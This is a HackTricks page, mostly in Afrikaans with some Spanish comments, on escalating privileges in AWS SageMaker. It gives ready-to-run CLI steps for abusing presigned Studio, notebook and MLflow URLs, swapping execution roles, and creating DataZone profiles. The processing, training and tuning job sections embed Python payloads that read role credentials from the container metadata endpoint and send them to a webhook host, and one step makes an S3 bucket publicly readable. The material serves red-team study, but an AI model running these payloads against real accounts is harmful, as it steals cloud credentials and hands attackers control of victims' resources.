AWS - Sagemaker Privesc

Tip

Leer en oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Leer en oefen Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Ondersteun HackTricks

AWS - Sagemaker Privesc

iam:PassRole , sagemaker:CreateNotebookInstance, sagemaker:CreatePresignedNotebookInstanceUrl

Begin om ’n notebook te skep en heg die IAM Role wat toegang daartoe het aan.

aws sagemaker create-notebook-instance --notebook-instance-name example \
--instance-type ml.t2.medium \
--role-arn arn:aws:iam::<account-id>:role/service-role/<role-name>

Die respons behoort ’n NotebookInstanceArn-veld te bevat, wat die ARN van die nuut geskepte notebook-instansie sal bevat. Ons kan dan die create-presigned-notebook-instance-url API gebruik om ’n URL te genereer wat ons kan gebruik om toegang tot die notebook-instansie te kry sodra dit gereed is:

aws sagemaker create-presigned-notebook-instance-url \
--notebook-instance-name <name>

Navigeer na die URL met die blaaier en klik op `Open JupyterLab`` regs bo, rol dan af na die “Launcher”-tab en onder die “Other”-afdeling klik op die “Terminal”-knoppie.

Nou is dit moontlik om by die metadata-credentials van die IAM Role te kom.

Potential Impact: Privesc na die gespesifiseerde sagemaker service role.

sagemaker:CreatePresignedNotebookInstanceUrl

As daar Jupyter notebooks reeds op dit aan die gang is en jy kan hulle lys met sagemaker:ListNotebookInstances (of hulle op enige ander wyse ontdek), kan jy ’n URL daarvoor genereer, toegang daartoe kry, en die inlogbewyse steel soos aangedui in die vorige tegniek.

aws sagemaker create-presigned-notebook-instance-url --notebook-instance-name <name>

Potensiële impak: Privesc na die sagemaker service role wat daaraan gekoppel is.

sagemaker:CreatePresignedDomainUrl

Warning

Hierdie aanval werk slegs op ou tradisionele SageMaker Studio-domeine, nie op dié geskep deur SageMaker Unified Studio nie. Domeine van Unified Studio sal die fout teruggee: “This SageMaker AI Domain was created by SageMaker Unified Studio and must be accessed via SageMaker Unified Studio Portal”.

’n Identiteit met toestemming om sagemaker:CreatePresignedDomainUrl op ’n teiken Studio UserProfile aan te roep, kan ’n aanmeld-URL skep wat direk in SageMaker Studio as daardie profiel verifieer. Dit gee die aanvaller se blaaier ’n Studio-sessie wat die profiel se ExecutionRole-magte erf en volle toegang tot die profiel se EFS-ondersteunde tuismap en apps. Geen iam:PassRole of console-toegang word vereis nie.

Vereistes:

  • ’n SageMaker Studio Domain en ’n teiken UserProfile daarin.
  • Die aanvaller-prinsipaal benodig sagemaker:CreatePresignedDomainUrl op die teiken UserProfile (resource‑level) of *.

Minimale policy voorbeeld (beperk tot een UserProfile):

{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Action": "sagemaker:CreatePresignedDomainUrl",
"Resource": "arn:aws:sagemaker:<region>:<account-id>:user-profile/<domain-id>/<user-profile-name>"
}
]
}

Misbruikstappe:

  1. Enumerate a Studio Domain and UserProfiles you can target
DOM=$(aws sagemaker list-domains --query 'Domains[0].DomainId' --output text)
aws sagemaker list-user-profiles --domain-id-equals $DOM
TARGET_USER=<UserProfileName>
  1. Kontroleer of unified studio nie gebruik word nie (attack werk slegs op tradisionele SageMaker Studio-domeine)
aws sagemaker describe-domain --domain-id <DOMAIN_ID> --query 'DomainSettings'
# If you get info about unified studio, this attack won't work
  1. Genereer ’n presigned URL (geldig vir ~5 minute volgens verstek)
aws sagemaker create-presigned-domain-url \
--domain-id $DOM \
--user-profile-name $TARGET_USER \
--query AuthorizedUrl --output text
  1. Open die teruggegewe URL in ’n blaaier om by Studio aan te meld as die teiken-gebruiker. In ’n Jupyter-terminal binne Studio verifieer die effektiewe identiteit of exfiltrate die token:
aws sts get-caller-identity

Aantekeninge:

  • --landing-uri kan weggelaat word. Sommige waardes (bv. app:JupyterLab:/lab) kan geweier word afhangende van die Studio‑variant/weergawe; standaard herlei gewoonlik na die Studio tuisblad en dan na Jupyter.
  • Org-beleid/VPC-endpoint-beperkings kan steeds netwerktoegang blokkeer; die token-minting vereis nie console-aanmelding of iam:PassRole nie.

Potensiële impak: Laterale beweging en privilegie-opskaling deur enige Studio UserProfile aan te neem wie se ARN toegelaat word, en daarmee die ExecutionRole en lêerstelsel/apps te erf.

sagemaker:CreatePresignedMlflowTrackingServerUrl, sagemaker-mlflow:AccessUI, sagemaker-mlflow:SearchExperiments

’n Identiteit met toestemming om sagemaker:CreatePresignedMlflowTrackingServerUrl aan te roep (en sagemaker-mlflow:AccessUI, sagemaker-mlflow:SearchExperiments vir later toegang) vir ’n geteikende SageMaker MLflow Tracking Server kan ’n eenmalige voorondertekende URL skep wat direk verifieer by die bestuurde MLflow UI vir daardie server. Dit gee dieselfde toegang as wat ’n geldige gebruiker tot die server sou hê (eksperimente en runs besigtig/skep, en artefakte in die server se S3 artifact store aflaai/oplaai).

Vereistes:

  • ’n SageMaker MLflow Tracking Server in die rekening/streek en die naam daarvan.
  • Die aanvaller-principal benodig sagemaker:CreatePresignedMlflowTrackingServerUrl op die geteikende MLflow Tracking Server-resource (of *).

Misbruikstappe:

  1. Enumerate MLflow Tracking Servers wat jy kan teiken en kies een naam
aws sagemaker list-mlflow-tracking-servers \
--query 'TrackingServerSummaries[].{Name:TrackingServerName,Status:TrackingServerStatus}'
TS_NAME=<tracking-server-name>
  1. Genereer ’n vooraf-ondertekende MLflow UI URL (slegs vir ’n kort tydperk geldig)
aws sagemaker create-presigned-mlflow-tracking-server-url \
--tracking-server-name "$TS_NAME" \
--query AuthorizedUrl --output text
  1. Open die teruggegewe URL in ’n blaaier om toegang tot die MLflow UI te kry as ’n geauthentiseerde gebruiker vir daardie Tracking Server.

Potensiële impak: Direkte toegang tot die bestuurde MLflow UI vir die geteikende Tracking Server, wat dit moontlik maak om eksperimente/uitvoerings te besigtig en te wysig en artefakte wat in die bediener se gekonfigureerde S3 artifact store gestoor is, af te laai of op te laai, binne die toestemmings wat deur die bediener-konfigurasie gehandhaaf word.

sagemaker:CreateProcessingJob, iam:PassRole

’n Aanvaller met daardie toestemmings kan SageMaker ’n processing job laat uitvoer met ’n SageMaker-rol daaraan gekoppel. Deur een van die AWS Deep Learning Containers te hergebruik wat reeds Python insluit (en deur die job in dieselfde streek as die URI uit te voer), kan jy inline-kode laat loop sonder om eie container images te bou:

REGION=<region>
ROLE_ARN=<sagemaker-arn-role>
IMAGE=683313688378.dkr.ecr.$REGION.amazonaws.com/sagemaker-scikit-learn:1.2-1-cpu-py3
ENV='{"W":"https://example.com/webhook"}'

aws sagemaker create-processing-job \
--processing-job-name privescjob \
--processing-resources '{"ClusterConfig":{"InstanceCount":1,"InstanceType":"ml.t3.medium","VolumeSizeInGB":50}}' \
--app-specification "{\"ImageUri\":\"$IMAGE\",\"ContainerEntrypoint\":[\"python\",\"-c\"],\"ContainerArguments\":[\"import os,urllib.request as u;m=os.environ.get('AWS_CONTAINER_CREDENTIALS_RELATIVE_URI');m and u.urlopen(os.environ['W'],data=u.urlopen('http://169.254.170.2'+m).read())\"]}" \
--environment "$ENV" \
--role-arn $ROLE_ARN

# Las credenciales llegan al webhook indicado. Asegúrate de que el rol tenga permisos ECR (AmazonEC2ContainerRegistryReadOnly) para descargar la imagen.

Potensiële impak: Privesc na die gespesifiseerde sagemaker diensrol.

sagemaker:CreateTrainingJob, iam:PassRole

’n aanvaller met daardie toestemmings kan ’n training job begin wat arbitrêre kode uitvoer met die aangeduide rol. Deur ’n amptelike SageMaker-container te gebruik en die entrypoint te oorskryf met ’n payload inline, hoef jy nie jou eie images te bou nie:

REGION=<region>
ROLE_ARN=<sagemaker-role-to-abuse>
IMAGE=763104351884.dkr.ecr.$REGION.amazonaws.com/pytorch-training:2.1-cpu-py310
ENV='{"W":"https://example.com/webhook"}'
OUTPUT_S3=s3://<existing-bucket>/training-output/
# El rol debe poder leer imágenes de ECR (p.e. AmazonEC2ContainerRegistryReadOnly) y escribir en OUTPUT_S3.

aws sagemaker create-training-job \
--training-job-name privesc-train \
--role-arn $ROLE_ARN \
--algorithm-specification "{\"TrainingImage\":\"$IMAGE\",\"TrainingInputMode\":\"File\",\"ContainerEntrypoint\":[\"python\",\"-c\"],\"ContainerArguments\":[\"import os,urllib.request as u;m=os.environ.get('AWS_CONTAINER_CREDENTIALS_RELATIVE_URI');m and u.urlopen(os.environ['W'],data=u.urlopen('http://169.254.170.2'+m).read())\"]}" \
--output-data-config "{\"S3OutputPath\":\"$OUTPUT_S3\"}" \
--resource-config '{"InstanceCount":1,"InstanceType":"ml.m5.large","VolumeSizeInGB":50}' \
--stopping-condition '{"MaxRuntimeInSeconds":600}' \
--environment "$ENV"

# El payload se ejecuta en cuanto el job pasa a InProgress y exfiltra las credenciales del rol.

Potensiële impak: Privesc na die gespesifiseerde SageMaker-diensrol.

sagemaker:CreateHyperParameterTuningJob, iam:PassRole

An attacker met daardie toestemmings kan ’n HyperParameter Tuning Job begin wat attacker-controlled code onder die verskafde rol uitvoer. Script mode vereis dat die payload in S3 gehuisves word, maar alle stappe kan vanaf die CLI geoutomatiseer word:

REGION=<region>
ROLE_ARN=<sagemaker-role-to-abuse>
BUCKET=sm-hpo-privesc-$(date +%s)
aws s3 mb s3://$BUCKET --region $REGION

# Allow public reads so any SageMaker role can pull the code
aws s3api put-public-access-block \
--bucket $BUCKET \
--public-access-block-configuration '{
"BlockPublicAcls": false,
"IgnorePublicAcls": false,
"BlockPublicPolicy": false,
"RestrictPublicBuckets": false
}'

aws s3api put-bucket-policy --bucket $BUCKET --policy "{
\"Version\": \"2012-10-17\",
\"Statement\": [
{
\"Effect\": \"Allow\",
\"Principal\": \"*\",
\"Action\": \"s3:GetObject\",
\"Resource\": \"arn:aws:s3:::$BUCKET/*\"
}
]
}"

cat <<'EOF' > /tmp/train.py
import os, time, urllib.request

def main():
meta = os.environ.get("AWS_CONTAINER_CREDENTIALS_RELATIVE_URI")
if not meta:
return
creds = urllib.request.urlopen(f"http://169.254.170.2{meta}").read()
req = urllib.request.Request(
"https://example.com/webhook",
data=creds,
headers={"Content-Type": "application/json"}
)
urllib.request.urlopen(req)
print("train:loss=0")
time.sleep(300)

if __name__ == "__main__":
main()
EOF

cd /tmp
tar -czf code.tar.gz train.py
aws s3 cp code.tar.gz s3://$BUCKET/code/train-code.tar.gz --region $REGION --acl public-read

echo "dummy" > /tmp/input.txt
aws s3 cp /tmp/input.txt s3://$BUCKET/input/dummy.txt --region $REGION --acl public-read

IMAGE=763104351884.dkr.ecr.$REGION.amazonaws.com/pytorch-training:2.1-cpu-py310
CODE_S3=s3://$BUCKET/code/train-code.tar.gz
TRAIN_INPUT_S3=s3://$BUCKET/input
OUTPUT_S3=s3://$BUCKET/output
# El rol necesita permisos ECR y escritura en el bucket.

cat > /tmp/hpo-definition.json <<EOF
{
"AlgorithmSpecification": {
"TrainingImage": "$IMAGE",
"TrainingInputMode": "File",
"MetricDefinitions": [{"Name": "train:loss", "Regex": "train:loss=([0-9.]+)"}]
},
"StaticHyperParameters": {
"sagemaker_program": "train.py",
"sagemaker_submit_directory": "$CODE_S3"
},
"RoleArn": "$ROLE_ARN",
"InputDataConfig": [
{
"ChannelName": "training",
"DataSource": {
"S3DataSource": {
"S3DataType": "S3Prefix",
"S3Uri": "$TRAIN_INPUT_S3",
"S3DataDistributionType": "FullyReplicated"
}
}
}
],
"OutputDataConfig": {
"S3OutputPath": "$OUTPUT_S3"
},
"ResourceConfig": {
"InstanceType": "ml.m5.large",
"InstanceCount": 1,
"VolumeSizeInGB": 50
},
"StoppingCondition": {
"MaxRuntimeInSeconds": 600
}
}
EOF

aws sagemaker create-hyper-parameter-tuning-job \
--hyper-parameter-tuning-job-name privesc-hpo \
--hyper-parameter-tuning-job-config '{"Strategy":"Random","ResourceLimits":{"MaxNumberOfTrainingJobs":1,"MaxParallelTrainingJobs":1},"HyperParameterTuningJobObjective":{"Type":"Maximize","MetricName":"train:loss"}}' \
--training-job-definition file:///tmp/hpo-definition.json

Elke training wat deur die proses geloods word, druk die metriek uit en exfiltreer die inlogbewyse van die aangeduide rol.

sagemaker:UpdateUserProfile, iam:PassRole, sagemaker:CreateApp, sagemaker:CreatePresignedDomainUrl, (sagemaker:DeleteApp)

Met die toestemming om ’n SageMaker Studio User Profile by te werk, ’n app te skep, ’n presigned URL na die app en iam:PassRole, kan ’n aanvaller die ExecutionRole instel op enige IAM-rol wat die SageMaker diens-prinsipaal kan aanvaar. Nuwe Studio-apps wat vir daardie profiel gelanseer word, sal met die ingewisselde rol uitgevoer word, wat interaktiewe verhoogde regte gee via Jupyter-terminale of take wat vanaf Studio gelanseer word.

Warning

Hierdie aanval vereis dat daar geen toepassings in die profiel is nie, anders sal die skepping van die app misluk met ’n fout soortgelyk aan: An error occurred (ValidationException) when calling the UpdateUserProfile operation: Unable to update UserProfile [arn:aws:sagemaker:us-east-1:947247140022:user-profile/d-fcmlssoalfra/test-user-profile-2] with InService App. Delete all InService apps for UserProfile and try again. As daar enige app is, sal jy eers sagemaker:DeleteApp toestemming nodig hê om hulle te verwyder.

Stappe:

# 1) List Studio domains and pick a target
aws sagemaker list-domains --query 'Domains[].{Id:DomainId,Name:DomainName}'

# 2) List Studio user profiles and pick a target
aws sagemaker list-user-profiles --domain-id-equals <DOMAIN_ID>

# Choose a more-privileged role that already trusts sagemaker.amazonaws.com
ROLE_ARN=arn:aws:iam::<ACCOUNT_ID>:role/<HighPrivSageMakerExecutionRole>

# 3) Update the Studio profile to use the new role (no iam:PassRole)
aws sagemaker update-user-profile \
--domain-id <DOMAIN_ID> \
--user-profile-name <USER> \
--user-settings ExecutionRole=$ROLE_ARN

aws sagemaker describe-user-profile \
--domain-id <DOMAIN_ID> \
--user-profile-name <USER> \
--query 'UserSettings.ExecutionRole' --output text

# 3.1) Optional if you need to delete existing apps first
# List existing apps
aws sagemaker list-apps \
--domain-id-equals <DOMAIN_ID>

# Delete an app
aws sagemaker delete-app \
--domain-id <DOMAIN_ID> \
--user-profile-name <USER> \
--app-type JupyterServer \
--app-name <APP_NAME>

# 4) Create a JupyterServer app for a user profile (will inherit domain default role)
aws sagemaker create-app \
--domain-id <DOMAIN_ID> \
--user-profile-name <USER> \
--app-type JupyterServer \
--app-name <APP_NAME>


# 5) Generate a presigned URL to access Studio with the new domain default role
aws sagemaker create-presigned-domain-url \
--domain-id <DOMAIN_ID> \
--user-profile-name <USER> \
--query AuthorizedUrl --output text

# 6) Open the URL in browser, navigate to JupyterLab, open Terminal and verify:
#    aws sts get-caller-identity
#    (should show the high-privilege role from domain defaults)

Potensiële impak: Privilege escalation to the permissions of the specified SageMaker execution role for interactive Studio sessies.

sagemaker:UpdateDomain, sagemaker:CreateApp, iam:PassRole, sagemaker:CreatePresignedDomainUrl, (sagemaker:DeleteApp)

Met permissies om ’n SageMaker Studio Domain by te werk, ’n app te skep, ’n presigned URL na die app te maak, en iam:PassRole, kan ’n aanvaller die standaard domein ExecutionRole instel na enige IAM-rol wat die SageMaker service principal kan assume. Nuwe Studio-apps wat vir daardie profiel gelanseer word, sal met die verwisselde rol loop en interaktiewe verhoogde permissies gee via Jupyter-terminale of take wat vanaf Studio gelanseer word.

Warning

Hierdie aanval vereis dat daar geen toepassings in die domein is nie, anders sal die app-skepping misluk met die fout: An error occurred (ValidationException) when calling the UpdateDomain operation: Unable to update Domain [arn:aws:sagemaker:us-east-1:947247140022:domain/d-fcmlssoalfra] with InService App. Delete all InService apps in the domain including shared Apps for [domain-shared] User Profile, and try again.

Stappe:

# 1) List Studio domains and pick a target
aws sagemaker list-domains --query 'Domains[].{Id:DomainId,Name:DomainName}'

# 2) List Studio user profiles and pick a target
aws sagemaker list-user-profiles --domain-id-equals <DOMAIN_ID>

# Choose a more-privileged role that already trusts sagemaker.amazonaws.com
ROLE_ARN=arn:aws:iam::<ACCOUNT_ID>:role/<HighPrivSageMakerExecutionRole>

# 3) Change the domain default so every profile inherits the new role
aws sagemaker update-domain \
--domain-id <DOMAIN_ID> \
--default-user-settings ExecutionRole=$ROLE_ARN

aws sagemaker describe-domain \
--domain-id <DOMAIN_ID> \
--query 'DefaultUserSettings.ExecutionRole' --output text

# 3.1) Optional if you need to delete existing apps first
# List existing apps
aws sagemaker list-apps \
--domain-id-equals <DOMAIN_ID>

# Delete an app
aws sagemaker delete-app \
--domain-id <DOMAIN_ID> \
--user-profile-name <USER> \
--app-type JupyterServer \
--app-name <APP_NAME>

# 4) Create a JupyterServer app for a user profile (will inherit domain default role)
aws sagemaker create-app \
--domain-id <DOMAIN_ID> \
--app-type JupyterServer \
--app-name js-domain-escalated

# 5) Generate a presigned URL to access Studio with the new domain default role
aws sagemaker create-presigned-domain-url \
--domain-id <DOMAIN_ID> \
--user-profile-name <USER> \
--query AuthorizedUrl --output text

# 6) Open the URL in browser, navigate to JupyterLab, open Terminal and verify:
#    aws sts get-caller-identity
#    (should show the high-privilege role from domain defaults)

Potential Impact: Eskalering van voorregte na die toestemmings van die gespesifiseerde SageMaker execution role vir interaktiewe Studio-sessies.

sagemaker:CreateApp, sagemaker:CreatePresignedDomainUrl

’n Aanvaller met toestemming om ’n SageMaker Studio app vir ’n teiken UserProfile te skep, kan ’n JupyterServer app begin wat loop met die profiel se ExecutionRole. Dit verskaf interaktiewe toegang tot die rol se toestemmings via Jupyter-terminals of take wat vanaf Studio geloods word.

Stappe:

# 1) List Studio domains and pick a target
aws sagemaker list-domains --query 'Domains[].{Id:DomainId,Name:DomainName}'

# 2) List Studio user profiles and pick a target
aws sagemaker list-user-profiles --domain-id-equals <DOMAIN_ID>

# 3) Create a JupyterServer app for the user profile
aws sagemaker create-app \
--domain-id <DOMAIN_ID> \
--user-profile-name <USER> \
--app-type JupyterServer \
--app-name js-privesc

# 4) Generate a presigned URL to access Studio
aws sagemaker create-presigned-domain-url \
--domain-id <DOMAIN_ID> \
--user-profile-name <USER> \
--query AuthorizedUrl --output text

# 5) Open the URL in browser, navigate to JupyterLab, open Terminal and verify:
#    aws sts get-caller-identity

Potensiële Impak: Interaktiewe toegang tot die SageMaker execution role wat aan die teiken UserProfile gekoppel is.

iam:GetUser, datazone:CreateUserProfile

An attacker met daardie permissies kan ’n IAM user toegang gee tot ’n Sagemaker Unified Studio Domain deur ’n DataZone User Profile vir daardie IAM user te skep.

# List domains
aws datazone list-domains --region us-east-1 \
--query "items[].{Id:id,Name:name}" \
--output json

# Add IAM user as a user of the domain
aws datazone create-user-profile \
--region us-east-1 \
--domain-identifier <domain-id> \
--user-identifier <arn-user> \
--user-type IAM_USER

Die Unified Domain-URL het die volgende formaat: https://<domain-id>.sagemaker.<region>.on.aws/ (bv. https://dzd-cmixuznq0h8cmf.sagemaker.us-east-1.on.aws/).

Potensiële impak: Toegang tot die Sagemaker Unified Studio-domein as gebruiker wat toegang het tot al die hulpbronne binne die Sagemaker-domein en selfs bevoegdhede kan eskaleer na die rol wat die notebooks binne die Sagemaker Unified Studio-domein gebruik.

Verwysings

Tip

Leer en oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Leer en oefen Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Ondersteun HackTricks